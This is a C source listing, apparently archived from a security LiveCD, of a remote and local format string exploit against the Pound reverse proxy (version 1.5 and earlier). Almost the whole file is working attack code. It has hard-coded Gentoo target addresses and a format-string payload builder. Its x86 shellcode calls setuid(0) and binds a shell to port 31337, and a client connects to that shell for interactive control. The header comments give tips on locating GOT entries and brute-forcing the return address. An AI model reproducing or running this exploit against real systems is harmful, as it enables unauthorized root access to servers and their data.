home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / proxy / pound / 305-pound.c < prev   
C/C++ Source or Header  |  2005-02-12  |  9KB  |  302 lines

  1. /*
  2.     Pound <=1.5 remote format string exploit (public version)
  3.     by
  4.     Nilanjan De - n2n@front.ru
  5.     Eye on Security Research Group, India, http://www.eos-india.net
  6.             
  7.     Vendor URL: http://www.apsis.ch/pound/
  8.     
  9.     Local exploit is only useful is pound is setuid
  10.     The shellcode used doesn't break chroot
  11.     if you need to break chroot, use a different shellcode
  12.     
  13.     To find jmpslot:
  14.     For remote:
  15.         objdump -R /usr/sbin/pound|grep pthread_exit|cut -d ' ' -f 1
  16.     for local:
  17.         objdump -R /usr/sbin/pound|grep exit|grep -v pthread|cut -d ' ' -f 1
  18.         
  19.     Note: In case of remote exploit, since the exploit occurs in one of the threads, you may need to modify this exploit to brute-force the RET address to make the exploit work. Since pound runs in daemon mode, brute forcing it is no problem.
  20. */
  21.  
  22.  
  23. #include <stdio.h>
  24. #include <stdlib.h>
  25. #include <sys/types.h>
  26. #include <sys/socket.h>
  27. #include <netinet/in.h>
  28. #include <netdb.h>
  29.  
  30. #define PORT 8888
  31. #define BUFSIZE 1024
  32. #define NOP 0x90
  33. #define POUND "/usr/sbin/pound"
  34. #define COMMAND "TERM=xterm; export TERM=xterm; id;uname -a;\n"
  35. #define LOCALHOST "127.0.0.1"
  36. typedef enum {LOCAL,REMOTE} type_t;
  37. struct target
  38. {
  39.     char *arch;
  40.     unsigned long jmpslot;
  41.     unsigned long ret;
  42.     unsigned int align;
  43.     unsigned int  offset;
  44.      type_t    type;
  45. } targets[]=
  46.     {
  47.         {"Gentoo - Pound 1.5 remote",0x08055610,0xbf3eda54,3,7,REMOTE},
  48.         {"Gentoo - Pound 1.5 local",0x08055618,0xbffff410,1,11,LOCAL},
  49.         {NULL,0x00,0x00,0,0,0}
  50.     };
  51.     
  52. /*
  53.  x86 linux fork+portbind shellcode(port 31337)
  54. */
  55.  
  56. char shellcode[]=
  57.     /* sys_fork() */
  58.     "\x31\xc0"                      // xorl         %eax,%eax
  59.     "\x31\xdb"                      // xorl         %ebx,%ebx
  60.     "\xb0\x02"                      // movb         $0x2,%al
  61.     "\xcd\x80"                      // int          $0x80
  62.     "\x38\xc3"                      // cmpl         %ebx,%eax
  63.     "\x74\x05"                      // je           0x5
  64.     /* sys_exit() */
  65.     "\x8d\x43\x01"                  // leal         0x1(%ebx),%eax
  66.     "\xcd\x80"                      // int          $0x80
  67.     /* setuid(0) */
  68.     "\x31\xc0"                      // xorl         %eax,%eax
  69.     "\x31\xdb"                      // xorl         %ebx,%ebx
  70.     "\xb0\x17"                      // movb         $0x17,%al
  71.     "\xcd\x80"                      // int          $0x80
  72.     /* socket() */
  73.     "\x31\xc0"                      // xorl    %eax,%eax
  74.     "\x89\x45\x10"                  // movl    %eax,0x10(%ebp)(IPPROTO_IP = 0x0)
  75.     "\x40"                          // incl    %eax
  76.     "\x89\xc3"                      // movl    %eax,%ebx(SYS_SOCKET = 0x1)
  77.     "\x89\x45\x0c"                  // movl    %eax,0xc(%ebp)(SOCK_STREAM = 0x1)
  78.     "\x40"                          // incl    %eax
  79.     "\x89\x45\x08"                  // movl    %eax,0x8(%ebp)(AF_INET = 0x2)
  80.     "\x8d\x4d\x08"                  // leal    0x8(%ebp),%ecx
  81.     "\xb0\x66"                      // movb    $0x66,%al
  82.     "\xcd\x80"                      // int     $0x80
  83.     "\x89\x45\x08"                  // movl    %eax,0x8(%ebp)
  84.  
  85.         /* bind()*/
  86.         "\x43"                          // incl    %ebx(SYS_BIND = 0x2)
  87.         "\x66\x89\x5d\x14"              // movw    %bx,0x14(%ebp)(AF_INET = 0x2)
  88.           "\x66\xc7\x45\x16\x7a\x69"      // movw    $0x697a,0x16(%ebp)(port=31337)
  89.         "\x31\xd2"                      // xorl    %edx,%edx
  90.         "\x89\x55\x18"                  // movl    %edx,0x18(%ebp)
  91.         "\x8d\x55\x14"                  // leal    0x14(%ebp),%edx
  92.         "\x89\x55\x0c"                  // movl    %edx,0xc(%ebp)
  93.         "\xc6\x45\x10\x10"              // movb    $0x10,0x10(%ebp)(sizeof(struct sockaddr) = 10h = 16)
  94.         "\xb0\x66"                      // movb    $0x66,%al
  95.         "\xcd\x80"                      // int     $0x80
  96.  
  97.         /* listen() */
  98.         "\x40"                          // incl    %eax
  99.         "\x89\x45\x0c"                  // movl    %eax,0xc(%ebp)
  100.         "\x43"                          // incl    %ebx
  101.         "\x43"                          // incl    %ebx(SYS_LISTEN = 0x4)
  102.         "\xb0\x66"                      // movb    $0x66,%al
  103.         "\xcd\x80"                      // int     $0x80
  104.  
  105.         /* accept() */
  106.         "\x43"                          // incl    %ebx
  107.         "\x89\x45\x0c"                  // movl    %eax,0xc(%ebp)
  108.         "\x89\x45\x10"                  // movl    %eax,0x10(%ebp)
  109.         "\xb0\x66"                      // movb    $0x66,%al
  110.         "\xcd\x80"                      // int     $0x80
  111.         "\x89\xc3"                      // movl    %eax,%ebx
  112.  
  113.         /* dup2() */
  114.         "\x31\xc9"                      // xorl    %ecx,%ecx
  115.         "\xb0\x3f"                      // movb    $0x3f,%al
  116.         "\xcd\x80"                      // int     $0x80
  117.         "\x41"                          // incl    %ecx
  118.         "\x80\xf9\x03"                  // cmpb    $0x3,%cl
  119.         "\x75\xf6"                      // jne     -0xa
  120.  
  121.         /* execve() */
  122.         "\x31\xd2"                      // xorl    %edx,%edx
  123.         "\x52"                          // pushl   %edx
  124.         "\x68\x6e\x2f\x73\x68"          // pushl   $0x68732f6e
  125.         "\x68\x2f\x2f\x62\x69"          // pushl   $0x69622f2f
  126.         "\x89\xe3"                      // movl    %esp,%ebx
  127.         "\x52"                          // pushl   %edx
  128.         "\x53"                          // pushl   %ebx
  129.         "\x89\xe1"                      // movl    %esp,%ecx
  130.         "\xb0\x0b"                      // movb    $0xb,%al
  131.         "\xcd\x80";                     // int     $0x80
  132.  
  133. int
  134. connect_to(char *host, unsigned int port)
  135. {
  136.     struct hostent *h;
  137.     struct sockaddr_in sin;
  138.     int sock;
  139.     
  140.     if((h=gethostbyname(host))==NULL)
  141.     {
  142.         printf("- Error: Unable to resolve %s\n",host);        
  143.         exit(EXIT_FAILURE);
  144.     }
  145.     printf("+ Resolved %s\n",host);
  146.     sin.sin_addr=*((struct in_addr *)h->h_addr);
  147.     sin.sin_family=AF_INET;
  148.     sin.sin_port=htons((u_short)port);
  149.     if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0)
  150.     {
  151.         perror("socket");exit(EXIT_FAILURE);
  152.     }    
  153.     if(connect(sock,(struct sockaddr*)&sin,sizeof(sin))<0)
  154.     {
  155.         perror("connect");exit(EXIT_FAILURE);
  156.     }
  157.     printf("+ Connected\n");
  158.     return sock;
  159. }
  160.  
  161. int sh(int sockfd) {
  162.    char snd[1024], rcv[1024];
  163.    fd_set rset;
  164.    int maxfd, n;
  165.  
  166.    strcpy(snd, COMMAND "\n");
  167.    write(sockfd, snd, strlen(snd));
  168.  
  169.    for (;;) {
  170.       FD_SET(fileno(stdin), &rset);
  171.       FD_SET(sockfd, &rset);
  172.  
  173.       maxfd = ( ( fileno(stdin) > sockfd )?fileno(stdin):sockfd ) + 1;
  174.       select(maxfd, &rset, NULL, NULL, NULL);
  175.  
  176.       if (FD_ISSET(fileno(stdin), &rset)) {
  177.          bzero(snd, sizeof(snd));
  178.          fgets(snd, sizeof(snd)-2, stdin);
  179.          write(sockfd, snd, strlen(snd));
  180.       }
  181.                                                                                 
  182.       if (FD_ISSET(sockfd, &rset)) {
  183.          bzero(rcv, sizeof(rcv));
  184.                                                                                 
  185.          if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) {
  186.             printf("+ Good Bye!\n");
  187.             return 0;
  188.          }
  189.                                                                                 
  190.          if (n < 0) {
  191.             perror("read");
  192.             exit(EXIT_FAILURE);
  193.          }
  194.                                                                                 
  195.          fputs(rcv, stdout);
  196.          fflush(stdout);
  197.       }
  198.    }
  199. }
  200.                                                                                 
  201.  
  202. void
  203. usage(char *progname)
  204. {
  205.     int i;
  206.     printf("Usage: %s <type> [RemoteHost]\n",progname);
  207.     printf("Available types:\n");
  208.     for(i=0;targets[i].arch!=NULL;i++)
  209.     {
  210.         printf("\t%d\t-\t%s\n",i,targets[i].arch);    
  211.     }
  212.     exit(EXIT_FAILURE);
  213. }
  214. int
  215. testifworked()
  216. {
  217.  
  218. }
  219. int main(int argc,char **argv)
  220. {
  221.     char *victim;
  222.     int s;
  223.     int i;
  224.     int high,low;
  225.     unsigned int port=PORT;
  226.     struct target *t;
  227.     char buf[BUFSIZE];
  228.     if(argc<2) usage(argv[0]);
  229.     i=atoi(argv[1]);
  230.     if((i<0)||(i>=(sizeof(targets)/sizeof(struct target))-1))
  231.     {
  232.         printf("- Invalid target type\n");
  233.         exit(EXIT_FAILURE);
  234.     }
  235.     t=&targets[i];
  236.  
  237.     high=(t->ret & 0xffff0000) >> 16;
  238.     low=(t->ret & 0x0000ffff);
  239.     
  240.     memset(buf,NOP,BUFSIZE-1);
  241.     buf[BUFSIZE-1]=0;
  242.     
  243.     if(t->type==REMOTE)
  244.     {
  245.         if(argc<3) usage(argv[0]);
  246.         victim=argv[2];
  247.     }
  248.                             
  249.     
  250.     if(high>low)
  251.     {
  252.         *((unsigned long *)(buf+t->align))=t->jmpslot;
  253.         *((unsigned long *)(buf+t->align+4))=t->jmpslot+2;
  254.     }
  255.     else
  256.     {
  257.         *((unsigned long *)(buf+t->align))=t->jmpslot+2;
  258.         *((unsigned long *)(buf+t->align+4))=t->jmpslot;
  259.         high^=low^=high^=low;
  260.     }
  261.     buf[t->align+9]=0;
  262.     
  263.     if(t->type==REMOTE)
  264.         low-=0x16+t->align;
  265.     else
  266.         low-=0x28+t->align;
  267.     i=snprintf(buf+t->align+9,BUFSIZE-1,"%%%dx%%%d$hn%%%dx%%%d$hn",low,t->offset,high-low,t->offset+1);
  268.     buf[t->align+9+i]=NOP;
  269.     memcpy(buf+BUFSIZE-6-strlen(shellcode),shellcode,strlen(shellcode));
  270.     buf[BUFSIZE-3]=buf[BUFSIZE-5]='\r';
  271.     buf[BUFSIZE-2]=buf[BUFSIZE-4]='\n';
  272.     
  273.     if(t->type==LOCAL)
  274.     {    
  275.         if(!fork())
  276.         {
  277.             execl(POUND,"pound","-f",buf,0);
  278.             perror("exec");exit(EXIT_FAILURE);
  279.         }
  280.         victim=LOCALHOST;
  281.     }
  282.     else
  283.     {
  284.         printf("+ Connecting to victim\n");
  285.         s=connect_to(victim,port);
  286.         printf("+ Attach?");
  287.         scanf("%c",&i);
  288.         printf("+ Sending evil buffer\n");
  289.         if(send(s,buf,BUFSIZE,0)!=BUFSIZE)
  290.         {
  291.             perror("send");exit(EXIT_FAILURE);
  292.         }
  293.         close(s);
  294.     }
  295.     
  296.     sleep(1);
  297.     printf("+ Checking if exploit worked\n");
  298.     s=connect_to(victim,31337);
  299.     sh(s);
  300.     exit(EXIT_SUCCESS);
  301. }
  302.